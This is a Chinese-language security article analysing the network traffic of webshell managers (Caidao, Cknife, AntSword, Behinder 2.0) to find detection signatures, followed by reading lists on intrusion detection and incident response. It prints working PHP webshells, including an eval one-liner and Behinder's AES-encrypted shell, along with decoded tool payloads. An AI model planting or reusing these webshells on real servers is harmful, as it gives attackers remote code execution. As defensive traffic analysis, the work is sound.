Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)入侵检测、应急响应资料整理
本文將會從攻防的角度分析常用 webshell 管理工具(菜刀、蟻劍、冰蝎2.0,冰蝎3.0、哥斯拉將在下篇介紹)的流量特點,后半部分會整理一些有關(guān) webshell 入侵檢測和應(yīng)急響應(yīng)的文章
文章目錄
- Webshell 管理工具流量分析
- 菜刀&Cknife
- 蟻劍
- 默認(rèn)編碼器
- Base64編碼器
- RSA模塊
- 冰蝎
- 2.0流量
- 3.0流量
- 參考鏈接
- 資料整理
- 入侵檢測
- 應(yīng)急響應(yīng)
Webshell 管理工具流量分析
菜刀&Cknife
先從最簡單的開始吧,菜刀也算是比較早的 webshell 管理工具了,加密方式比較簡單,這里分析 2016 版的菜刀
下載地址:https://github.com/raddyfiy/caidao-official-version
下載之后就直接被 360 查殺了,本地環(huán)境就是 PHP 直接在網(wǎng)站目錄里放了個一句話,為了減少不必要的流量在 kali 虛擬機中進(jìn)行操作
如果 kali 沒有開啟服務(wù),可以使用以下命令
root@kali:~# service apache2 start在 /var/www/html 下放置 shell.php
<?php @eval($_REQUEST['shell']);?>驗證成功
首先用 wireshark 開啟監(jiān)聽,然后使用菜刀連接
圖中為菜刀連接時產(chǎn)生的流量
首先,菜刀會偽造 X-Forwarded-For 頭,且每一次利用菜刀與webshell建立連接,X-Forwarded-For 都會變化
將這段 post 請求先進(jìn)行 url 解碼
發(fā)現(xiàn)請求執(zhí)行了 base64_decode 函數(shù)對 z0 進(jìn)行 base64 后,經(jīng)過 eval 函數(shù)執(zhí)行命令,base64 解密 z0
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();這部分就是傳輸?shù)?payload,首先關(guān)閉報錯和 magic_quotes,接下來去獲取主機的信息
這一段 QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTs 將其base64解碼,為@ini_set("display_errors","0");@set_time_limit(0); 流量特征明顯,可以用插件做混淆處理
Cknife
c刀是由java寫的客戶端,所以它的適用性比較強,linux、windows平臺都可以用,cknife首先會查詢服務(wù)器版本信息,接下來才是查詢當(dāng)前目錄。由于cknife是基于菜刀改的,在流量上與菜刀是十分相似的,都包含@eval,以及base64編碼后的QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTs
蟻劍
使用蟻劍進(jìn)行連接時可以選擇編碼器
默認(rèn)編碼器
看流量可以發(fā)現(xiàn)如果用默認(rèn)的蟻劍測試,連接時會請求兩次(上圖為第一次http請求,右擊選擇追蹤 http 流),其請求體只是經(jīng)過 url 編碼,其流量中也存在和蟻劍一樣的代碼
@ini_set("display_errors", "0");@set_time_limit(0);這段代碼基本是所有 WebShell 客戶端鏈接 PHP 類 WebShell 都有的一種代碼
第二次 http 請求(下圖)會把目錄列出來
Base64編碼器
php 的編碼器文件在以下目錄
antSword-master\source\core\php\decoder /*** php::base64編碼器* ? 利用php的base64_decode進(jìn)行編碼處理*/'use strict';module.exports = (pwd, data, ext = null) => {// 生成一個隨機變量名let randomID;if (ext.opts.otherConf['use-random-variable'] === 1) {randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);} else {randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;}data[randomID] = Buffer.from(data['_']).toString('base64');data[pwd] = `@eval(@base64_decode($_POST[${randomID}]));`;delete data['_'];return data; }data[pwd], 此函數(shù)的作用是作為參數(shù)傳遞的,所以這里在流量當(dāng)中是明文傳輸
可以看到傳入的變量 shell 沒有被加密,軟容易被 waf 探測到,其他的編碼器也是類似的
RSA模塊
有一個RSA模塊,使用了RSA非對稱加密進(jìn)行傳輸,新建編碼器 -> RSA配置 -> 點擊生成公私鑰
然后將生成好的 shell 放到目標(biāo)機器點擊連接查看流量,可以直接使用公鑰進(jìn)行解密,但是這種需要目標(biāo)機器安裝 OpenSsh 擴(kuò)展庫才可以
使用設(shè)置好的編碼器連接,在流量中 ant 連接字符也沒有加密
其他大佬說的并沒有遇到
冰蝎
冰蝎利用了服務(wù)器端的腳本語言加密功能,通訊的過程中,消息體內(nèi)容采用 AES 加密,基于特征值檢測的安全產(chǎn)品無法查出
項目地址:https://github.com/rebeyond/Behinder/releases
簡單了解一下 AES 加密
高級加密標(biāo)準(zhǔn) (AES,Advanced Encryption Standard) 為最常見的對稱加密算法(微信小程序加密傳輸就是用這個加密算法的),對稱加密算法也就是加密和解密用相同的密鑰,具體的加密流程如下圖
冰蝎 2.0 加密原理圖如下(Shell 端為服務(wù)端):
使用
首先上傳冰蝎專屬 webshell(在冰蝎的 server 目錄可以找到自帶 webshell)
<?php @error_reporting(0); session_start(); if (isset($_GET['pass'])) {$key=substr(md5(uniqid(rand())),16);$_SESSION['k']=$key;print $key; } else {$key=$_SESSION['k'];$post=file_get_contents("php://input");if(!extension_loaded('openssl')){$t="base64_"."decode";$post=$t($post."");for($i=0;$i<strlen($post);$i++) {$post[$i] = $post[$i]^$key[$i+1&15]; }}else{$post=openssl_decrypt($post, "AES128", $key);}$arr=explode('|',$post);$func=$arr[0];$params=$arr[1];class C{public function __construct($p) {eval($p."");}}@new C($params); } ?>攻擊者使用命令啟動
java -jar .\Behinder.jar # 雙擊不行就用命令連接 shell
添加之后雙擊即可
2.0流量
webshell分析
以 php 版本的 webshell 為例分析(就是剛剛上傳的webshell),查看冰蝎的 webshell 代碼,先會對 Get 傳入的 pass 這個參數(shù)進(jìn)行檢查,如果存在的話會以時間的方式生成長度 16 的隨機 key,然后存入到 session 當(dāng)中,再往后判斷是否開啟了 openssl 這個擴(kuò)展,開啟的情況就會開啟 AES 進(jìn)行解密,得到中間結(jié)果字符串 assert|eval("phpinfo();") 此數(shù)據(jù)是由冰蝎加載器發(fā)出的,已經(jīng)定義好的,服務(wù)端利用 explode 函數(shù)將拆分為一個字符串?dāng)?shù)據(jù),然后以可變函數(shù)方式調(diào)用索引為 0 的數(shù)組元素,參數(shù)為索引為 1 的數(shù)組元素,即為 assert("eval("phpinfo;")"),沒有開啟的情況,進(jìn)行異或處理然后通過 base64 加密
這就是同時在早期有一定的免殺效果,但是這個函數(shù)現(xiàn)在已經(jīng)被標(biāo)注為危險函數(shù)且被加入防火墻規(guī)則
2.0 的分析文章:冰蝎,從入門到魔改
使用 Wireshark 查看連接 webshell 的流量進(jìn)行分析,查看會發(fā)送倆次 Get 請求,分為倆次 Get 的握手請求,第一次請求服務(wù)端產(chǎn)生密鑰寫入session,session 和當(dāng)前會話綁定。不同的客戶端的密鑰也是不同的,第二次請求是為了獲取 key。此時的 99030fc0bb93de17就為解密代碼的 key
post 的數(shù)據(jù)可以利用上面的 Key 進(jìn)行解密獲得代碼,可以自己寫代碼也可以使用在線網(wǎng)站進(jìn)行解密,在線網(wǎng)站只有在這個網(wǎng)站解密成功
http://tools.bugscaner.com/cryptoaes/解密后的內(nèi)容會對代碼再次進(jìn)行了一次base64的解碼
左邊是沒有開啟OpenSsl擴(kuò)展的響應(yīng),右面是開啟OpenSsl擴(kuò)展的,對響應(yīng)進(jìn)行AES的解密 (下圖2) ,base64解碼后的內(nèi)容:{"status":"success","msg":"1a6ed26a-009d-4127-a6fb-1fd4e90c84fa"}
3.0流量
下一篇分析
冰蝎 Behinder 功能原理
- 《利用動態(tài)二進(jìn)制加密實現(xiàn)新型一句話木馬之客戶端篇》 https://xz.aliyun.com/t/2799
- 《利用動態(tài)二進(jìn)制加密實現(xiàn)新型一句話木馬之Java篇》 https://xz.aliyun.com/t/2744
- 《利用動態(tài)二進(jìn)制加密實現(xiàn)新型一句話木馬之.NET篇》 https://xz.aliyun.com/t/2758
- 《利用動態(tài)二進(jìn)制加密實現(xiàn)新型一句話木馬之PHP篇》 https://xz.aliyun.com/t/2774
參考鏈接
- 主流WebShell工具流量層分析
- Webshell連接工具流量分析
- 常見webshell管理工具流量特征值分析
資料整理
入侵檢測
- Webshell入侵檢測初探
- 企業(yè)安全建設(shè)之HIDS(一)
- 企業(yè)安全建設(shè)之HIDS(二):入侵檢測&應(yīng)急響應(yīng)
- 帶外通道技術(shù)(OOB)總結(jié)
- 左右互搏術(shù)的自我修養(yǎng)
- 入侵檢測技術(shù)建設(shè)及其在場景下的運用
- ATT&CK矩陣Linux系統(tǒng)安全實踐
- Linux入侵檢測之文件監(jiān)控
- 安全防御:Linux入侵檢測之文件監(jiān)控
- Linux入侵檢測之syscall監(jiān)控
以上這些文章建議順序?qū)W習(xí),由 pilgrim 發(fā)布于 Freebuf,大佬的文章很詳細(xì),無需多贅述
應(yīng)急響應(yīng)
-
奇安信安服團(tuán)隊出版的《網(wǎng)絡(luò)安全應(yīng)急響應(yīng)實戰(zhàn)指南》一書,微信讀書鏈接
第1~3章為網(wǎng)絡(luò)安全應(yīng)急響應(yīng)工程師需要掌握的基礎(chǔ)理論、基礎(chǔ)技能和常用工具,第4~10章為當(dāng)前網(wǎng)絡(luò)安全應(yīng)急響應(yīng)常見的七大處置場景,分別是勒索病毒、挖礦木馬、Webshell、網(wǎng)頁篡改、DDoS攻擊、數(shù)據(jù)泄露和流量劫持網(wǎng)絡(luò)安全應(yīng)急響應(yīng)
-
Bypass007團(tuán)隊?wèi)?yīng)急響應(yīng)筆記
GitHub 地址:https://github.com/Bypass007/Emergency-Response-Notes
GitBook 地址:https://bypass007.github.io/Emergency-Response-Notes
包括入侵排查、日志分析、權(quán)限維持、實戰(zhàn)部分等部分U
總結(jié)
以上是生活随笔為你收集整理的Shell管理工具流量分析-上(菜刀、蚁剑、冰蝎2.0流量分析)入侵检测、应急响应资料整理的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 2012.2.18-silverligh
- 下一篇: Ubuntu 安装 JDK 问题